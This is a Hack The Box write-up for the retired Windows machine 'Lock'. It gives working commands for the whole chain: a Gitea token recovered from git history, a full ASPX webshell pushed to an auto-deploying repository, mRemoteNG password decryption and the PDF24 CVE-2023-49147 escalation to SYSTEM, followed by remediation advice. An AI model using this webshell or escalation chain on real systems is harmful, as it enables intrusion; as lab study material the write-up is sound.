root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat lock.md
// writeups

Lock

21 Aug 2025 · 7 min read
Lock — Hack The Box machine

Executive summary — Lock is a standalone Windows Server 2022 that chains weak secret hygiene and a weak deployment pipeline with a classic local privilege escalation. A Gitea personal access token forgotten in the git history gives access to a private repository that deploys itself to IIS; pushing an .aspx to it gives command execution. Then an mRemoteNG configuration with no master password reveals another user's RDP credentials, and a vulnerable PDF24 Creator installer (CVE-2023-49147) leads to SYSTEM from a frozen console.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP<TARGET_IP>

Attack map

[3000] Gitea — public repo ellen.freeman/dev-scripts
   │  PAT hardcoded in the git history (repos.py)
   ▼
[3000] private repo ellen.freeman/website  (auto-deploys to IIS)
   │  push an .aspx -> wwwroot
   ▼
[80]  IIS — RCE as lock\ellen.freeman
   │  mRemoteNG confCons.xml (AES-GCM, default key mR3m)
   ▼
[3389] RDP as Gale.Dekarios  (user.txt)
   │  PDF24 Creator 11.15.1 — CVE-2023-49147
   │  oplock on faxPrnInst.log + msiexec /fa -> frozen SYSTEM console
   ▼
[SYSTEM]  console Properties -> SYSTEM Firefox -> Ctrl+O -> cmd.exe

1. Reconnaissance

nmap -p- --min-rate 3000 <TARGET_IP>      # 80, 445, 3000, 3389
nmap -sCV -p80,445,3000,3389 <TARGET_IP>
PortServiceDetail
80IIS 10"Lock - Index" page
445SMBHost LOCK, standalone
3000GiteaSelf-hosted code forge
3389RDPWindows Server 2022 (Build 20348)

Anonymous and guest SMB access answers STATUS_ACCESS_DENIED or STATUS_ACCOUNT_DISABLED, so it offers nothing. Gitea, on the other hand, lists a public repository under explore/repos: ellen.freeman/dev-scripts.

2. Gitea: a PAT forgotten in the git history

The public repository is cloned and the whole history, not just the latest commit, is searched for the word token:

git clone http://<TARGET_IP>:3000/ellen.freeman/dev-scripts.git
cd dev-scripts && git log -p --all | grep -i token
# commit dcc869b (Add repos.py):
#   PERSONAL_ACCESS_TOKEN = '43ce39bb0bd6bc489284f2905f033ca467a6362f'
# commit 8b78e6c "fixed" it by moving it to an environment variable,
# but the token is still in the history.

Why it works. Moving a secret to an environment variable in a later commit does not delete it: it is still reachable in the git history. A secret that was exposed once must be considered compromised and rotated.

The token is valid; Gitea's API confirms it and reveals a private repository:

TOKEN=43ce39bb0bd6bc489284f2905f033ca467a6362f
curl -H "Authorization: token $TOKEN" http://<TARGET_IP>:3000/api/v1/user       # login: ellen.freeman
curl -H "Authorization: token $TOKEN" http://<TARGET_IP>:3000/api/v1/user/repos  # website private=True
git clone http://ellen.freeman:${TOKEN}@<TARGET_IP>:3000/ellen.freeman/website.git

3. Auto-deployed ASPX webshell: RCE as ellen.freeman

The website repository is the IIS site: its changelog.txt is identical to the one served at http://<TARGET_IP>/changelog.txt. A commit to the repository is deployed to wwwroot within seconds, so pushing an .aspx is enough:

cat > cmd.aspx <<'EOF'
<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %>
<% string c=Request["c"]; if(!string.IsNullOrEmpty(c)){
 var psi=new ProcessStartInfo("cmd.exe","/c "+c){RedirectStandardOutput=true,RedirectStandardError=true,UseShellExecute=false};
 var p=Process.Start(psi); Response.Write("<pre>"+p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd()+"</pre>"); } %>
EOF
git add cmd.aspx && git -c user.email=e@e -c user.name=e commit -m update
git push http://ellen.freeman:${TOKEN}@<TARGET_IP>:3000/ellen.freeman/website.git

About five seconds later, the file is live:

curl "http://<TARGET_IP>/cmd.aspx?c=whoami"
lock\ellen.freeman

Why it works. The deployment pipeline trusts any commit to a repository that a low-privileged user can write to, and IIS executes whatever .aspx shows up in the site. Whoever controls the repository controls the web server.

4. mRemoteNG: RDP credentials and user.txt

With the webshell, ellen.freeman's mRemoteNG configuration is read:

w(){ curl -s "http://<TARGET_IP>/cmd.aspx" --data-urlencode "c=$1" -G; }
w 'type C:\Users\ellen.freeman\AppData\Roaming\mRemoteNG\confCons.xml'
<Node ... Username="Gale.Dekarios" Password="LYaCXJSF...clw==" Hostname="Lock" Protocol="RDP">

mRemoteNG encrypts passwords with AES-GCM, deriving the key with PBKDF2-SHA1 (1000 iterations, salt in the first 16 bytes) from the default password mR3m when the user has not set a master password. That is why anyone holding the file can decrypt it. The result for this node is ty8wnW9qCKDosXo6.

Note: the decryption script that was used (mrng_dec.py) is not included in the original notes; only the algorithm above and the result are recorded.

The credentials are valid against SMB. WinRM (5985) is closed, so interactive access is over RDP; to read the flag without a graphical session, a command can be launched with RunasCs:

nxc smb <TARGET_IP> -u Gale.Dekarios -p ty8wnW9qCKDosXo6     # [+] valid
RunasCs.exe Gale.Dekarios ty8wnW9qCKDosXo6 "cmd /c type C:\Users\gale.dekarios\Desktop\user.txt"
be6992db3b76f46b01b8bd14151cf5cc

user.txt: be6992db3b76f46b01b8bd14151cf5cc. The gale user has no special privileges (only SeChangeNotifyPrivilege).

5. CVE-2023-49147: PDF24 Creator 11.15.1 to SYSTEM

The machine has PDF24 Creator 11.15.1 installed. When its MSI installer is repaired (msiexec /fa), it runs pdf24-PrinterInstall.exe as SYSTEM, which opens a visible console. The idea of the exploit is to keep that console open long enough to use it as a springboard to an interactive SYSTEM process.

5.1 Freezing the console with an oplock

The console is frozen by blocking its write to C:\Program Files\PDF24\faxPrnInst.log with an oplock (opportunistic lock): until it is released, the SYSTEM process's write stays stalled.

There was no precompiled SetOpLock binary, so an equivalent C# tool was compiled on the target itself with csc.exe:

csc.exe /out:ol.exe SetOpLock.cs          # request level = 0x7

Key detail. You must use an RWH oplock (READ | HANDLE | WRITE = 0x7) through FSCTL_REQUEST_OPLOCK. A read-only oplock (r) breaks but does not block the writer: the repair completes and the window never freezes.

Note: the source of SetOpLock.cs is not included in the original notes, only its description and the 0x7 request level.

Permissions detail. gale could not open faxPrnInst.log (Access denied), but ellen could. The oplock is held from ellen's context (a detached process started with Start-Process from the webshell); the frozen window still shows up in gale's interactive RDP session, because that is where msiexec /fa is triggered.

5.2 Exploitation chain

# 1) hold the RWH oplock (as ellen, persistent)
Start-Process C:\Windows\Temp\run_ol.bat -WindowStyle Hidden   # ol.exe "C:\Program Files\PDF24\faxPrnInst.log" r
# 2) in gale's RDP session, trigger the repair
msiexec.exe /fa C:\_install\pdf24-creator-11.15.1-x64.msi
#    (OK on the two "close applications" dialogs)

At the end of the repair, the oplock breaks and blocks: the C:\Program Files\PDF24\pdf24-PrinterInstall.exe console appears, frozen. From there everything is graphical interaction over RDP:

  • Right-click the console's title bar → system menu → Properties.
  • In the console properties, click the "new console features" hyperlink.
  • "How do you want to open this?" appears: choose Firefox (Edge and Internet Explorer do not work). Firefox opens as SYSTEM.
  • In Firefox: Ctrl+O and browse to C:\Windows\System32.
  • Type cmd.exe to select it, open the context menu (Shift+F10) and choose Open. The "Open" button in the "File name" dialog does not work: for an .exe, Firefox just downloads it.
  • Administrator: cmd.exe opens as NT AUTHORITY\SYSTEM.
C:\Windows\System32> whoami
nt authority\system
C:\Windows\System32> type C:\Users\Administrator\Desktop\root.txt
d7d816baf81006ad65ab2e94241d0b43

root.txt: d7d816baf81006ad65ab2e94241d0b43

Why it works. pdf24-PrinterInstall.exe is an MSI custom action that runs as SYSTEM with a visible console. The system menu of any console → Properties includes hyperlinks ("legacy console mode" / "new console features"); opening them from a SYSTEM console launches the default browser as SYSTEM. The browser's file dialog (Ctrl+O) inherits SYSTEM and lets you run binaries with right-click → Open. The oplock is what keeps the console alive for as long as needed. That is why the security advisory states it does not work with Edge or Internet Explorer, which block the jump; here the default browser is Firefox.

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdGitea — dev-scripts/repos.py (git history)CWE-798 / CWE-312 — hardcoded credential that persists in historyAccess to the private website repository
FootholdIIS with automatic deployment from a writable repositoryCWE-434 / CWE-284 — unrestricted upload and insufficient access controlRCE as ellen.freeman
Lateral movementmRemoteNG — confCons.xmlCWE-522 / CWE-321 — no master password, default cryptographic key mR3mRDP credentials for Gale.Dekarios (user.txt)
PrivEscPDF24 Creator 11.15.1 — MSI repairCVE-2023-49147 / CWE-269 — improper privilege management (oplock on a SYSTEM console)SYSTEM (root.txt)

Remediation

  • Purge secrets from git history (BFG or git filter-repo) and rotate the PAT; issue tokens with the minimum scope needed.
  • Do not deploy to IIS straight from a repository that users can write to; use a reviewed pipeline and disable .aspx handlers on static content.
  • mRemoteNG: use a master password and do not keep server credentials in user profiles.
  • Update PDF24 Creator to 11.15.2 or later (or use the EXE installer) and restrict msiexec /fa to administrators.

Lessons learned

  • A secret that has lived in a repository is compromised even if a later commit removes it: rewrite the history and rotate it.
  • A deployment pipeline is a trust boundary: if a low-privileged user can write to the repository that publishes itself, they have code execution on the web server.
  • Encryption with a well-known default key (mRemoteNG without a master password) is obfuscation, not protection.
  • MSI installers that launch visible SYSTEM consoles during a repair are an escalation surface: any window running as SYSTEM can become a shell.
  • To review a git history for secrets, git log -p --all with a grep is a cheap and effective first step.